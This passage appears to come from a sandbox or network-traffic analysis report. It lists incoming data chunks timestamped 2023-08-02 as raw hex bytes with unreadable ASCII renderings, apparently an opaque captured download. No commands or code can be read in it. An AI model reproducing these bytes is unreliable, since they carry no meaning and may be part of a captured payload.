b8 da cd dd 54 e7 ac a1 b3 46 bc 2e fb 68 dd 87 60 14 cb ac 40 82 b0 68 36 ac 8a bc df f9 8e 5a 1a b7 8c 4c c5 99 3d da 60 de 3d 5f 38 c0 cc f0 05 c2 17 40 e7 db 81 f9 2b c9 9e 4b 70 5c dc 2a Data Ascii: V4R gYP$;2<y,2^y!NhxiG((:iHN!r>r);#Vm=&Fz@l])\fhtAD[v;ct>P\+(8rJ@TF.h`@h6ZL=`=_8@+Kp\*
2023-08-02 08:30:44 UTC	1442	IN	Data Raw: 01 30 c3 51 ba 5e e6 ea 9a 49 7b ac 4b 6b 23 1c 2e 0d e7 0c df 5a 00 8d fa 1b bb 7d 0a 61 90 5f 21 e5 c9 86 63 8b 5f f1 07 37 83 ab fe 6a 1e 9a 90 41 91 5a d7 4b b2 ed f5 af ba 78 26 f0 a4 61 2b 9c 90 86 eb 0a ce 2a 50 08 4e fc 2e 6c d4 40 b8 51 fb 3e 2c 12 7c f4 31 bb fa e9 5b 1e f0 bf bb 9c ba dc b9 71 5c e7 1d 19 0f 85 e7 09 f7 d8 32 4f 90 97 de e7 0a 60 45 b3 86 66 0b 89 e9 d0 75 1e 82 f6 f0 0e 5f b1 30 d2 1a 36 f4 55 e3 57 86 0b e8 62 61 bf 84 19 02 52 83 24 ef a1 dc 20 05 6a 28 b0 0c af 6f 0b 83 6e 71 2a 3d 6c 2a 7f 52 dd 74 75 78 e6 e3 91 29 58 58 ac fb 21 62 dd 91 fd 0e 0d 73 e9 b6 cb e8 f3 f4 8a a6 f7 30 86 32 d6 0b 44 3e 0f 5a 1d 49 af d9 f4 1f 1c 02 ad 24 b0 90 54 98 ef ee 8f 9d 8e 8a b3 a5 c7 92 a0 eb aa 0d 8f 5b 15 5a 38 82 6a b0 37 90 ee de Data Ascii: 0Q^I{Kk#.Z}a_!c_7jAZKx&a+PN.l@Q>,\|1[q\2O`Efu_06UWbaR$ j(onq=l*Rtux)XX!bs02D>ZI$T[Z8j7
2023-08-02 08:30:44 UTC	1458	IN	Data Raw: 3c be ad 2b 1e cf a2 17 b6 b2 d8 d3 75 dc 4d 01 83 57 74 2e 2e 29 68 63 12 74 73 d1 65 da 0a eb 62 c6 08 f1 80 7a af dd 39 f4 2e f4 1e 68 3e 72 c9 ad 58 b3 5b 8d 4f c3 6e e2 91 9c fb ec 4b 27 e8 4e 26 ca 2b eb 11 88 5a 00 b4 a4 cc 19 86 e1 6c 00 5d 33 fe d7 e9 b2 db f7 19 5d 9a 59 75 22 bb c7 f1 83 dc d9 6f 82 e3 a5 90 cb 9c 1c 29 8a 6c e5 9a 0c 4d ed 67 c7 43 36 31 36 f2 61 c1 0b d8 48 32 5e a8 52 21 13 ca 30 20 d2 8f ea 6e fe e1 3d 87 ae 35 3b 8b b8 98 3f dc 76 20 1c 3b 47 1b c6 ac 11 6a 52 5e 61 15 aa 35 89 76 dc f9 10 df 4b eb 68 a7 66 4b 37 96 1e 8e 08 27 95 bd dc 87 1e 67 fa 80 50 71 8f 73 b5 b8 9a 6e 56 b2 32 69 1b 55 5f a4 04 1e ff 72 4e 2a 58 93 55 ba c4 12 11 eb 6e 7c f5 c8 92 7e 68 06 f4 67 4c 79 72 45 45 86 45 50 72 a1 3f 09 50 d3 42 28 8f 1d Data Ascii: <+uMWt..)hctsebz9.h>rX[OnK'N&+Zl]3]Yu"o)lMgC616aH2^R!0 n=5;?v ;GjR^a5vKhfK7'gPqsnV2iU_rN*XUn\|~hgLyrEEEPr?PB(
2023-08-02 08:30:44 UTC	1474	IN	Data Raw: cd e4 4b 5a 7b a7 b9 e8 46 b5 35 de c5 a6 e5 a8 0f 77 31 3f 87 df f6 8b 66 52 31 f8 6d 88 44 ac 70 85 81 ed cb 43 3b ad 29 ab 01 79 4e e8 0a bf ca 75 48 52 fb c2 93 78 46 4b e7 b6 5f b6 b1 5f 51 62 cd 4a 91 c7 43 b4 1e 0f be 4b e7 8d 9f c5 71 b7 90 f4 31 31 9e cd bd 07 c8 cb d0 f6 c6 0a 56 52 5b 05 5f e8 ee 59 79 db 62 ba d2 5c cf bc 91 c7 2b 1f 21 48 a6 85 6f d1 8d 52 cd cf 26 b3 f1 5e 23 39 35 9e ca 33 af 5b be ca d0 6d 9a 33 80 34 8b d8 1e 31 e2 46 2f 18 a2 8f cf 17 64 e0 6e f1 7b 73 a8 1e bc 76 8f 80 88 b7 19 58 8c 25 4d 34 ec 78 79 5c 45 24 28 27 fd ad 99 5f 4f f0 8e 7a 71 bc c7 8b b4 4c 48 44 93 41 93 8d cd 94 c7 25 87 cd b6 e9 81 8a 7a b0 66 9b 68 4c e6 9f 57 56 39 0f 09 9c 7f c9 a1 c6 81 9b f9 78 8e 62 50 3f 67 fb fe e4 4b 10 37 b7 6f b4 c9 b9 84 Data Ascii: KZ{F5w1?fR1mDpC;)yNuHRxFK__QbJCKq11VR[_Yyb\+!HoR&^#953[m341F/dn{svX%M4xy\E$('_OzqLHDA%zfhLWV9xbP?gK7o
2023-08-02 08:30:44 UTC	1490	IN	Data Raw: c2 94 c4 4a b3 2c f0 0c 17 82 db ac cb 51 56 d5 28 98 60 0e d2 3e 15 4a d0 2f 5e 78 69 62 32 7b 76 8c 60 dd de 73 e6 ff 4f b1 08 4f cf 12 1a d1 19 2f aa 5a 58 d7 e2 3e df 1b c2 8f 80 a4 6a ce 89 0d 48 ed c8 5b 6b 1a c6 e1 fe 00 29 81 f4 d4 0e 8d e1 da 43 0f 34 94 71 8f 84 96 dc 32 ba f2 63 37 2d 88 1c 36 61 41 2b 3d 34 24 61 fe 08 6f 23 fc 32 8e d8 b6 e2 62 f2 7b 96 2e 9c 07 0a e9 1e 7a 9a 5b ba 31 23 65 cf 87 8b e2 fd b9 b6 7e c4 a8 9d 1c d5 58 3f 37 10 3a 9d e6 f4 3a 06 f4 4b d1 79 8c 01 ca fa 7a 0c 95 a8 64 e9 d5 6d f5 86 98 76 3c a4 71 1b 38 87 8a b5 16 6d 7c 22 2a 5e 18 9b 8f 9c ee 9c 4a 07 12 5a c5 8a 96 3e ff a5 f9 63 ee 4d 00 8e 45 fa 86 e5 27 f3 a1 87 7e 97 04 13 02 50 d8 c2 31 12 d0 a1 c4 53 93 42 5c 6c 7f 3a 39 63 f5 8c 2e 32 e0 a4 4d 4a 14 e5 Data Ascii: J,QV(`>J/^xib2{v`sOO/ZX>jH[k)C4q2c7-6aA+=4$ao#2b{.z[1#e~X?7::Kyzdmv<q8m\|"*^JZ>cME'~P1SB\l:9c.2MJ
2023-08-02 08:30:44 UTC	1506	IN	Data Raw: b1 12 9f 10 7a 2b 8a b1 53 69 70 40 85 5a 73 de 6a 2a 90 45 a8 4e 6b ad 90 58 cd d0 b2 2d 87 db c3 44 92 8d 6c ce 99 e6 11 5e 69 7c b1 b9 4f cc fb a9 77 9f ab d5 9d 46 bf e8 5d 6a fd 37 cd 92 7b ca 47 e6 b6 6c e8 9f af 13 91 66 ea 91 67 2c 33 83 25 9f 01 bb 16 e9 87 8e 02 98 94 64 a7 be 4e e7 79 50 a1 0f 23 a4 08 a8 78 5a cd 76 3a 8d 8e ad 99 a3 de 83 23 dc f0 4a c1 c5 03 64 47 b2 0f 8c 00 3b be 64 a1 b3 e7 11 0d 49 36 22 3b e1 10 3a 8d ef 8b 67 e1 62 91 9e e9 59 37 78 94 6f 78 c3 3f be 40 39 fa 32 d2 b1 8f 64 3a 39 16 2b da 5d fb 08 eb 80 02 64 2d d0 c0 ea eb 2b 4c 2c 2a f5 6a a7 c0 3e 79 63 20 5d 7a 63 88 45 0c f4 90 fb 43 48 84 bc ec fd 07 7b 35 8f 33 d8 48 ef af b2 2b f1 dd a2 da 3a fb 3e 37 89 f3 be b9 cd 79 a9 e4 db d6 8c 32 d3 04 58 08 62 d1 f9 0e Data Ascii: z+Sip@ZsjENkX-Dl^i\|OwF]j7{Glfg,3%dNyP#xZv:#JdG;dI6";:gbY7xox?@92d:9+]d-+L,j>yc ]zcECH{53H+:>7y2Xb
2023-08-02 08:30:44 UTC	1522	IN	Data Raw: 6f 0b af 74 64 ab 28 ca bd 35 30 55 7b 7d 6c c9 56 35 73 ba 11 5b 34 2a ff 6d 0b 30 d9 3a 83 fc fd f1 d8 fe 13 4d 97 87 c4 82 4d 84 68 05 1b b0 66 96 ca b7 d8 62 b8 3a c4 9c f3 fa 0d 50 a8 3e 19 b0 4d 7f 59 c0 5e 8d 4e 49 3e 98 5b fe 97 ca 40 09 44 4c 17 c3 dc 44 22 f1 2e 1a 21 cb 87 24 af c8 ab 5e 5f ff 05 3c 40 56 b0 9c 37 a3 33 df 4a d2 e9 09 db 7b 0c cc ee 5d e4 1f 3e dd 43 d4 a0 38 99 d6 20 5a 26 8c e1 f4 b5 9e 77 e1 fd 1a 4c 3a 67 b4 cc ce c8 86 bb 18 2a ae e8 f4 c8 40 a0 e8 45 ad 47 3c 91 98 68 16 7a ad 39 6b a9 0a 83 57 bc a3 47 51 c8 af e3 d3 48 b1 2b d0 1f 93 9e 53 8f df fb 68 f3 60 5a 7d a4 dc 99 1e ed 34 35 c9 aa b4 da 0d 6f 8c 41 3d 86 fb 09 75 a9 c2 69 ab ea 37 61 bc 75 bb 37 e8 86 f5 29 9d 21 1e 7c 5d ea 7d 54 db ab ad f1 54 8e dc 2d 29 99 Data Ascii: otd(50U{}lV5s[4m0:MMhfb:P>MY^NI>[@DLD".!$^_<@V73J{]>C8 Z&wL:g@EG<hz9kWGQH+Sh`Z}45oA=ui7au7)!\|]}TT-)
2023-08-02 08:30:44 UTC	1538	IN	Data Raw: 30 d5 4d 61 58 8f bd 92 56 c3 53 96 5a 11 ef 06 bb 68 7d 0e 9d f8 1c 06 c8 60 df 15 fb 0b d6 32 3a 03 1e 3a 3a ae 92 c7 99 c7 d9 38 56 7d 81 7e a8 86 ce f4 9c 35 7d 5e cc 56 9e 7c 39 da a6 74 b6 90 68 d1 3c aa 89 40 4e de 7c b3 b9 4e 3c 79 4a a6 b1 1a c2 eb ca 6d 8a 17 ad 15 25 26 6d c6 38 49 64 13 7e 57 f3 04 90 b7 5f af c4 ff 3c da cc c5 cb b9 0e 63 83 cd 5d a8 d1 49 e4 10 4c c4 17 cf 2e 11 ef 5d f2 7b 09 95 8e 9c 5c ca 67 5d bf 9c ed 91 1f 5f 8a af 88 67 9c 77 8b 7d b1 f6 a7 8d 57 31 50 d0 8f 27 9f b1 dc a9 89 8b fe 9a a0 0b b8 35 ed 8f 34 6c 43 2f 3f 7b d2 68 16 af 81 80 f0 f7 cd 99 6e b7 37 f6 fb 65 f9 62 c9 07 6f b3 11 64 01 00 a7 63 be ce 28 02 73 aa 74 95 79 a7 80 f6 b7 b4 73 df 2b 38 0b 9b af 3c e9 64 7a ca d5 ae de f0 fe f5 e2 38 77 87 4b d3 f8 Data Ascii: 0MaXVSZh}`2:::8V}~5}^V\|9th<@N\|N<yJm%&m8Id~W_<c]IL.]{\g]_gw}W1P'54lC/?{hn7ebodc(stys+8<dz8wK
2023-08-02 08:30:44 UTC	1554	IN	Data Raw: 17 ac 97 f8 2a 26 09 bb 3d c1 6b 3e 8b 2d ed 85 36 23 b2 d2 7f 8f 7c de f1 96 18 79 ba d4 1e 7b 77 0d 09 f3 0f b3 29 a7 7b 61 c3 14 7f 15 53 21 ac 1f 06 12 c0 8e 07 a8 7f 9f 3b 67 86 aa 00 3d d1 d4 24 37 8a 88 f9 bb 1d 48 e7 de d0 b6 80 4e 51 1b 1d 3d b3 6a 53 a1 da 04 4a 60 90 f8 99 54 5d 30 40 35 63 34 3e 77 fd d8 ff 3d a8 fc 67 27 c8 34 3d 9d 08 fe 49 bd e8 fe 3f 61 1e f5 57 8b b8 18 57 60 99 b3 2d 48 3e 9e d4 b7 66 3a 42 48 89 3d eb 2f 56 00 00 2e 94 44 ea 44 c0 fc 4a d0 01 0a 27 93 8f 6b b6 47 44 41 23 10 c4 21 13 09 01 a7 ab e1 20 3e 3f 68 78 77 4f d8 35 73 d8 f8 c8 18 81 e1 c8 25 0a 88 51 2a 89 e1 69 9a 1d f9 91 1b a4 df 61 e5 a0 cb 6e b2 7a 4d 9c 3d 5a d4 cb 8f 7a 8e 94 41 10 4e ae c1 30 86 e1 3c c3 ba 81 20 e1 13 2e 27 6c 13 ad 2d 41 f6 3c bb d6 Data Ascii: &=k>-6#\|y{w){aS!;g=$7HNQ=jSJ`T]0@5c4>w=g'4=I?aWW`-H>f:BH=/V.DDJ'kGDA#! >?hxwO5s%QianzM=ZzAN0< .'l-A<
2023-08-02 08:30:44 UTC	1570	IN	Data Raw: 32 31 84 3b e8 af 66 53 9a c7 b9 5e bc 4a e7 fe 22 a8 ce 3c 6a 87 e6 7e d0 3c b0 55 c1 d3 7b 29 c3 36 9a 95 f2 a3 36 ab b7 1f 5c 4a 2b 65 3f a6 62 65 b0 a2 f0 fd a5 b3 0b 8e 76 3d 94 9e 3a 18 d8 5f eb 87 b6 b3 fd 89 ea d6 11 38 61 03 1a 8e 16 18 12 c9 a4 ae 8f 1a 98 b0 d4 9f 44 ff 77 5e e9 9f 51 9c 09 e4 f9 ba 56 0e 37 1f ca 3e ab a6 ae e2 9b 0c 1f 73 99 12 2a e3 65 12 e7 76 39 7b 0d 5c ef 13 8f 25 0b 8a 0e eb dc d5 86 7a 58 76 77 94 4a 52 5e c9 93 83 14 3a 05 61 b7 51 9e 94 21 5b 67 66 0e 20 d2 fd df 07 b2 1f 19 29 8e 03 df d6 08 c2 0f 33 6c 5d 3b 57 37 ce 7f 2e 36 99 7d 82 f2 e3 5a 81 0d 64 a2 92 71 e6 e9 95 fa 21 ca dd cf 94 ec 2e 62 b0 fe 5e fb 02 7b 09 f0 08 0a 63 20 7d 1f 86 f2 fe 04 03 e0 88 e1 62 07 c0 d1 b2 0f f2 fe 13 73 7a 03 71 5f cb 81 f6 88 Data Ascii: 21;fS^J"<j~<U{)66\J+e?bev=:_8aDw^QV7>s*ev9{\%zXvwJR^:aQ![gf )3l];W7.6}Zdq!.b^{c }bszq_
2023-08-02 08:30:44 UTC	1586	IN	Data Raw: 36 2b 4c b7 6c 31 ac c3 ed 9a 2c 6e fb fe ad 48 ac 39 9a 7b b7 e6 01 c4 ee 74 c5 6d 58 0f e4 a2 63 a4 f8 40 d7 5e 03 05 98 bd 82 47 27 d0 d4 71 9d e5 07 9f 20 c2 41 b3 3a 92 8a 6e 55 18 18 6a d4 68 ef f7 4f 88 89 7b 5e 39 e7 eb d9 e7 9a fa fb 0d 81 3f 36 b9 2b 50 77 ea 3b 35 75 b2 87 cf 99 a9 b8 dc d7 75 8d c2 6f da db d2 3d 7c 27 b5 b3 e7 f0 42 ad cb 06 d3 27 d8 f1 00 e8 e8 57 29 65 a2 5e 58 6a 0f 22 10 99 7c e8 b1 ca f0 78 d6 1d 44 5a 21 a9 ab 7e 2a 34 33 fc 64 d2 5a 04 63 45 51 30 18 0a 12 22 b6 33 fd 7e d6 75 2c 72 de e8 5d fb 2c 7c b4 81 71 1c 66 bc 27 19 1c 77 d1 69 63 22 c8 27 e8 8d fe 3f 9c 84 5c f0 dc ef 10 bc ae 34 b5 18 f0 05 1b ee 8e 58 53 be b2 99 b3 01 fe b1 d2 a1 75 05 98 01 4a 0a 17 54 9e f5 6d 52 fb 45 44 e2 ec a9 f9 45 a0 f4 57 fa e7 5c Data Ascii: 6+Ll1,nH9{tmXc@^G'q A:nUjhO{^9?6+Pw;5uuo=\|'B'W)e^Xj"\|xDZ!~*43dZcEQ0"3~u,r],\|qf'wic"'?\4XSuJTmREDEW\
2023-08-02 08:30:44 UTC	1602	IN	Data Raw: 17 2e ff 00 0f 8f ff a8 0f d1 17 84 9d b9 71 f5 a9 4d 63 bc 8f bb 9d 0e 40 11 5e 56 52 bf 6f cd 1e cf 9a 6b fc c8 1f 4b f3 97 47 74 5b 68 4a 29 03 cc c2 14 2b f5 5a d6 e1 88 f3 a9 ab e9 69 ca 0d 44 ec 53 75 5d e8 e2 a1 b6 4f 04 ad 65 f3 36 1a 4d 97 0c a1 0d 6d e2 73 a1 0a f3 5a 32 b5 b8 c7 be d7 44 ae 2d 85 f3 0a d8 c0 92 23 31 29 21 62 a5 be 76 e5 8e 3c e7 a3 d8 69 d3 13 39 77 2d d8 f0 23 a4 e1 3a 7b 4c e3 f5 62 b2 e5 51 3e 63 01 c0 09 a8 14 b1 e0 88 54 f4 28 22 b8 7f 2e a3 32 9d 89 76 e9 55 06 41 25 c8 a9 33 1f 03 9d 12 26 bc 52 2c 60 ac 54 28 dd c5 8d cd f4 d8 d0 53 8e 58 9b d9 fd d0 45 2f 0e 95 51 f9 ac 5c 95 e3 75 44 c5 58 ef 0c bd 99 21 c6 ca 0b 94 48 07 86 21 f1 ad 34 34 46 8f d7 fa 27 b7 b6 e2 33 5d d1 18 52 b9 4f 36 ec 29 26 b6 52 74 8e be f6 95 Data Ascii: .qMc@^VRokKGt[hJ)+ZiDSu]Oe6MmsZ2D-#1)!bv<i9w-#:{LbQ>cT(".2vUA%3&R,`T(SXE/Q\uDX!H!44F'3]RO6)&Rt
2023-08-02 08:30:44 UTC	1618	IN	Data Raw: ae 36 55 af e7 fc da 25 f2 4b 4a ef 4e b9 ea 90 25 cf 25 b6 5e 16 bd 80 4a 8f 6b 2e 03 cf d8 1d a3 22 e2 cb 0f eb 5b 7b c0 ca 04 e0 bd 88 a4 d9 d6 44 1d 26 2c 44 85 13 3a 50 73 84 52 30 12 64 db c5 1c 92 a8 bc b3 58 f3 3c f3 6d 54 b5 c4 fc 49 cb 03 48 80 70 a9 42 7c ed 70 48 57 df 9f 83 81 f5 41 f2 10 aa 44 2e c5 d2 b1 22 78 50 cb ce 8f e8 d0 1d cb f5 5f 6f 38 88 d5 50 0f 00 80 d9 99 f3 a7 6c c2 ae f9 74 2b a7 50 6b 48 1e d5 70 8a da 75 9c ea fc 9b 66 2a 83 14 4b cc 24 7b b4 62 e0 b9 10 1e 80 5e d2 03 28 ef c6 93 e2 a4 61 39 1b c4 26 30 53 da 20 50 9e 81 11 d6 3c 1e 47 45 35 e5 c9 80 6e 36 00 c6 7c c8 7f 6c 98 16 79 5d 09 ff 29 5d 83 45 b7 40 95 ca e2 5e 07 ef 5d f4 a2 16 75 40 6c aa c9 ec 0e a7 27 d5 21 7b 7c 08 58 8e c8 f9 60 01 d5 be 9f 58 1f 37 89 19 Data Ascii: 6U%KJN%%^Jk."[{D&,D:PsR0dX<mTIHpB\|pHWAD."xP_o8Plt+PkHpuf*K${b^(a9&0S P<GE5n6\|ly])]E@^]u@l'!{\|X`X7
2023-08-02 08:30:44 UTC	1634	IN	Data Raw: 85 81 95 55 c3 bf cd 2e e5 3f f6 89 7b 1a 92 29 31 7d 1a f7 d7 84 2a b5 18 1b 1a de 0e 01 be 2c 5c 72 25 3f b7 7d e7 c6 b8 f1 68 54 cb eb 7f fe 48 00 50 c7 2c a4 69 60 f2 4b d7 66 18 ef 7d c0 23 73 0a bb dd 22 5f 14 05 9d fc 65 ca 92 22 bd 94 42 21 ec a9 44 a2 20 c8 77 ed a2 c6 55 bf 10 0d eb 6a 77 fc 0e 28 27 74 9c 66 83 82 7b 9d 3d a7 1c b5 8a f2 3a b1 57 b9 9a 9a d7 cc 80 eb f4 63 f4 88 c1 fd 14 a1 c6 37 db 3d fb 36 ee b0 5c 4a 2b 65 bf cb 64 90 33 b2 1a 6c 9e c9 0a 5b fd 97 da 46 57 ff 71 cc c3 c6 ba bd 84 c2 6e 5b a6 8a 08 3e 8b 37 25 ed 1a d3 f8 f1 a9 52 44 56 f5 60 74 1e 4f fb 58 92 c2 33 c3 85 bf 07 42 9f 34 b9 f0 78 ff da a9 2c 52 32 ce 23 6f a6 3a d8 78 51 4a 01 28 23 84 c0 63 f6 48 79 d0 34 ac d9 19 a9 68 04 88 a9 eb 81 5b c2 da 7e 5e b5 5a 30 Data Ascii: U.?{)1}*,\r%?}hTHP,i`Kf}#s"_e"B!D wUjw('tf{=:Wc7=6\J+ed3l[FWqn[>7%RDV`tOX3B4x,R2#o:xQJ(#cHy4h[~^Z0
2023-08-02 08:30:44 UTC	1650	IN	Data Raw: 36 cf c5 4a 85 d4 ad 35 80 ae 0e 35 15 43 78 bf b2 22 5d 20 61 d0 f9 38 82 d6 f3 94 40 17 86 a4 99 e5 01 18 61 81 62 bf 12 2b 0d 64 7b ba f6 98 81 f0 29 f7 b6 8b 95 5f 5a 49 1e 5e d7 6b 8e 1d 66 d0 28 3f ae 54 f2 f5 f3 9f d9 2f 41 72 0f 82 8f 15 ca 4b 0a d2 93 63 71 2b 0d c1 fb 63 5c 66 72 08 88 e1 63 4d 3d bb 28 36 0c a9 72 52 89 96 64 d6 a5 4c 4a 9b 48 ca e2 5b 08 9a 8c c8 29 cb 12 17 24 1a 89 5b a5 fd 5f 21 1a 54 70 bc 15 e4 5f 36 c0 56 f9 76 4e ee ad f0 14 87 20 87 b5 0d 3e b7 f8 68 6a 44 ce 3e d6 13 f5 d5 b5 14 4d 9d dd 19 10 d9 02 71 77 2d ca 5e 1d 8e d3 89 b9 8f 6a 26 d9 32 0b 5b e0 5f 32 f9 a8 43 c5 cd 61 f7 05 4e f8 24 46 7a 90 7f 33 0d 5f da 99 5f e2 3d 43 fc bb db 80 23 b4 fc e6 c7 cd b3 72 ed e9 08 fa 4d 4e 34 e9 13 2b 37 8e 86 08 60 7e 23 7e Data Ascii: 6J55Cx"] a8@ab+d{)_ZI^kf(?T/ArKcq+c\frcM=(6rRdLJH[)$[_!Tp_6VvN >hjD>Mqw-^j&2[_2CaN$Fz3__=C#rMN4+7`~#~
2023-08-02 08:30:44 UTC	1666	IN	Data Raw: 26 71 7e 2d 79 de af 8b 2d 02 5a 5e dd 6f 54 72 0d ff c9 75 ed 23 33 02 df 36 2a c6 bb 8a 6a e2 b3 69 d5 bb a1 39 d8 d7 18 ba 42 ee 98 d3 be 3b 24 2f ca f8 c0 07 50 08 f8 2f 81 ad 06 af 67 e4 42 80 52 97 31 44 03 d7 08 21 5c 4e 7e c8 eb 64 07 e2 7b 72 0c a0 17 49 4e 9f 9d 7f 7a ad a1 ea 7e ea fb 0f 5c 45 da ff af b3 bb 2a ec 20 1f 7f 1d e7 80 fd 40 2c 5d 46 0f 4a 76 8b 35 3d b7 d5 51 bd e2 3a 4a fb 43 52 b8 0c 14 18 72 4e 0c 06 26 1f 1d 84 ec 4c 58 4a 4c f6 15 58 c1 95 cf a8 29 bd dc 2f 30 39 f0 93 5f 40 80 79 8d b8 14 45 23 c7 43 a8 35 3f ea db 6a 59 a6 72 d7 5d 65 85 b0 05 e3 7f 33 c9 6a a0 c3 a5 c1 f1 24 43 de b6 61 9d 87 e4 34 a4 d0 22 1d 5e 5e a9 9a 5e 7d 36 d9 dc 7f 77 22 6f 10 95 fa d8 90 5b e9 f0 3e 72 65 47 95 5b dc f7 f1 32 63 8f 70 8c 8c 30 2d Data Ascii: &q~-y-Z^oTru#36ji9B;$/P/gBR1D!\N~d{rINz~\E @,]FJv5=Q:JCRrN&LXJLX)/09_@yE#C5?jYr]e3j$Ca4"^^^}6w"o[>reG[2cp0-
2023-08-02 08:30:44 UTC	1682	IN	Data Raw: 13 71 5e 02 dc 6d 0b e6 97 42 3b ca d0 c6 f3 28 a8 77 7e 64 5c e5 da 3b 82 58 3d 52 37 cf 50 f0 5d 0b 2f b9 4e ef 01 40 ea 78 be 27 32 0b 41 32 b8 54 bf 36 7e 01 ed ef f9 06 22 d7 9e 4a a9 14 27 01 a4 dc 5c 53 bb 36 ff e3 ae 39 96 b1 99 b8 17 1f 4d 6e d5 8e 99 3b 30 74 8e 5d 40 1b 25 f4 1b 3c c1 b9 9b 49 39 00 0a 2b 34 a9 f5 be f2 71 ee 6f e1 15 b8 8e d9 ed c4 7f 58 53 f9 f7 bf 97 5c c8 e7 07 54 57 94 62 f7 54 87 bb 5a 33 3d 83 ce cb e4 b2 a3 42 11 03 70 52 69 dd 94 cb 0f fe 46 4e 4c cb 20 2e 38 e4 19 63 c5 b0 88 62 ec 47 d1 50 e2 ee 55 7d 46 74 c0 f9 00 62 0d e5 92 e2 81 5e f3 5a 5b b4 23 ad 67 f9 5e ce 35 74 62 b4 62 17 a4 27 95 06 b4 b8 e1 c9 41 3c f5 f4 29 1d 26 88 0f 96 52 d7 5c 5f 08 16 2f 93 f3 d9 6a 18 84 d8 6d 46 75 f7 bc dc 7b 50 6f d0 f6 2b ea Data Ascii: q^mB;(w~d\;X=R7P]/N@x'2A2T6~"J'\S69Mn;0t]@%<I9+4qoXS\TWbTZ3=BpRiFNL .8cbGPU}Ftb^Z[#g^5tbb'A<)&R\_/jmFu{Po+
2023-08-02 08:30:44 UTC	1698	IN	Data Raw: d5 2c c4 2e 4c 29 83 e8 e5 2f 59 50 77 d4 07 05 c1 fd fb 3f 92 18 5d 46 bc 96 da 79 6c 9a 6e 18 da 7e d2 38 00 02 d1 23 07 d1 5b af 25 71 ad 4b 10 0a 75 00 79 bb 20 6b 70 1d 3f 1a 6f a8 81 2f 67 a9 8b 45 a8 3b f6 c6 dd ff a9 40 3e ca 2b cb 50 c7 99 45 4c a7 64 4f 2a bd 46 c0 c4 fe c5 df c2 d0 bf df 7f 90 87 bc be e5 6f ab ba aa 7b 00 77 3b 50 95 35 ce d3 80 b3 af ae 48 48 51 19 44 09 3e d8 14 38 f0 b3 86 f0 72 d5 68 d9 38 2d b5 3d 4d 2a d4 6b b7 96 24 a5 d9 7e 2f ea 94 2d c5 cf f6 3a b7 e4 5f 85 7b a4 3d 00 ca e9 08 79 4e 74 44 bc c3 63 3d 75 a5 b9 22 db 30 66 00 13 01 da 8b 93 78 24 9e 1a 41 57 10 22 27 a6 02 d3 81 32 a8 86 f2 e8 d6 ef 19 61 f9 67 57 93 a8 0d 4d bd bb 9d 24 4d 98 6a 21 e9 22 0c 6f 1e 84 b2 d3 e3 59 02 09 8b 71 7e db 4f 2c 62 5b 2b aa bd Data Ascii: ,.L)/YPw?]Fyln~8#[%qKuy kp?o/gE;@>+PELdOFo{w;P5HHQD>8rh8-=Mk$~/-:_{=yNtDc=u"0fx$AW"'2agWM$Mj!"oYq~O,b[+
2023-08-02 08:30:44 UTC	1714	IN	Data Raw: 59 a0 b3 e6 9c e0 37 11 33 b9 bf 9f 8b 42 aa cc 8b ba 4c 9f d2 68 84 a6 e2 e0 72 a7 e4 1a c4 e9 e6 c2 16 4e 33 3f a2 37 0f 6b a7 81 d6 56 fe 16 8f d8 5f 13 f0 1e a1 7d 78 43 a2 18 61 11 ec 53 88 63 c2 66 da 25 6c 00 50 bc 96 ad 5d 13 f9 72 39 28 8b 46 8d b2 ba 06 a4 e6 fa 74 9d 3f 65 35 e8 d7 ec 0d 92 02 0c 20 4a 95 26 a2 85 94 4f f5 20 d7 1c 77 e2 69 84 e2 0c d1 c4 8d 04 0d f1 a0 ab 24 d7 51 e6 2a b3 9e a8 02 4e a0 b5 2a 22 5f 36 b3 1a e2 25 68 31 3a 61 68 6c bd 1f c0 74 18 27 41 18 24 cd 17 fc bb b9 5a e8 ed b4 69 26 34 38 a9 72 5d 39 d1 b3 f4 e4 80 4a 39 0c e8 4d 83 93 95 19 4f da f5 92 68 ea e8 2f 19 ae 6d 91 02 40 2a ae fc 8a ee a4 72 c5 8c 76 02 ab 58 f2 a4 67 37 6c 01 6e 31 d0 f7 e8 43 9d e1 a2 53 96 78 93 f3 38 02 bd f0 2b 5f fe 7f 42 21 98 71 8c Data Ascii: Y73BLhrN3?7kV_}xCaScf%lP]r9(Ft?e5 J&O wi$QN"_6%h1:ahlt'A$Zi&48r]9J9MOh/m@*rvXg7ln1CSx8+_B!q
2023-08-02 08:30:44 UTC	1730	IN	Data Raw: 09 4f b8 85 d6 3d 26 47 2f 0e ff f4 07 13 af 1c 94 28 af 31 98 d6 b5 1a 98 7a 20 96 3e ab 0e 25 52 6a 50 c4 e4 db f0 55 ce 02 12 58 12 4e 72 24 6e c0 af e4 d1 21 a8 44 9a 4e b8 f7 b1 c9 a1 d1 15 67 f8 5e fc cd 9c d3 ff 30 a3 fd b7 02 d6 6a 76 38 30 45 ac b5 0f 82 50 37 50 61 b8 db a0 34 bf 04 93 cb ac e8 22 c4 12 8a c4 14 7f f6 20 2a d3 fc 55 40 d1 c0 ec 8e 85 c3 2a 16 53 d0 31 a1 47 5d 04 c7 cf b9 84 96 54 dd b0 0b ab ee 8e 6d 4b 1c a3 3e 8d 59 bd 8c ad a6 52 89 01 c7 ef ff 30 97 be c2 9f fe c9 04 34 5b 53 4c e0 40 68 cb 91 36 77 d6 84 67 79 56 74 45 71 3a b3 b7 18 d1 ae f8 31 74 8b a9 a2 a9 30 44 a3 be 40 c8 50 b7 99 02 d6 23 93 20 49 20 18 ee 9a 85 0c 6f 97 41 ec 90 d2 bd d1 f0 3b f6 7f 7a 25 50 12 f4 e3 3d e8 d2 e9 01 8a 42 25 06 f1 8a 98 9d bb 5a 10 Data Ascii: O=&G/(1z >%RjPUXNr$n!DNg^0jv80EP7Pa4" U@S1G]TmK>YR04[SL@h6wgyVtEq:1t0D@P# I oA;z%P=B%Z
